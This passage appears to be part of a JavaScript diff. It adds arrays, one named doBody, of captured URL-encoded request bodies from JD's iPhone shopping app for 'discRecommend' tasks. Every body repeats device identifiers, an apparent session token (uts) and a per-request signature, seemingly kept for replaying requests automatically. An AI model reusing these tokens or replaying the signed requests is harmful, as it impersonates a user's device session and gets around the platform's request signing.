`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22231078213%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=83672faa82ff55d2e01a86551c53bf57&st=1608136015469&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228889429%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1d5f374fe483ee83e8b10a4c213c3e4f&st=1608136032181&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239891037%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=98bc0ee5edf5790cb968ac5705939a23&st=1608136046783&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239349437%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a0851d4dd20ea28e463b38c2604220c5&st=1608135079843&sv=120&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJbL8Z8Ji5qW2Orjpl0%2BzyRPbn4M%2BsWaSKGP0oBktuYYM5pyBaI0RqkeXBgu6TJZdGHo2xvPne18Dzkk1A7m%2BLqBuD2mrzLZjK%2BrWdDdNBD9pQPajs0rQAp%2Bu4eLnMSDTc7xxKGmxZ6YlvLbYtQu1%2B/z4woT25IKqETrcboP4nZzsjKlRbBnlsrQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=unknown` +] +let doBody = [ + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a33e35fe4dbaebc0bb6cf31acf696624&st=1608135463915&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a3133bb0bdd798b3264b94fbe25fe39f&st=1608135478529&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=01e35c947f923e9818180e6e7aa7767f&st=1608135494151&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8fe3ce466b10be78b721560d8ae37a0c&st=1608135507710&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=76dbae0f7044496b445996cce4625462&st=1608135527407&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=77a5ee97b33f4a3278899e68136ece47&st=1608135541366&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e06a172b3fd68a0f61af4eb9bd96f3b&st=1608135556280&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=20ab69a69fbe79c35b5ef680330957bc&st=1608135571343&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a62f9e3a83f38109038ce6542ca47791&st=1608135585500&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fc5c80a2660f1f02c5c7dec0b1fd3a28&st=1608135599007&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a5d979f12d580c2704cc109542567501&st=1608135613226&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=65c634dfc07ea15edfb40d55db1e5af4&st=1608135626981&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4c2e554b8a38234c0bcd2c96bb84b980&st=1608135644097&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bd2ea3163b169eae08a50ba193248ff2&st=1608135666530&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7a89d628a4f83130accce92ea928ff31&st=1608135684848&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cb6fe5ac83bd71f14ab1d1603158df43&st=1608135702313&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ec6f3b9600854f398e6938b3db66f644&st=1608135716033&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 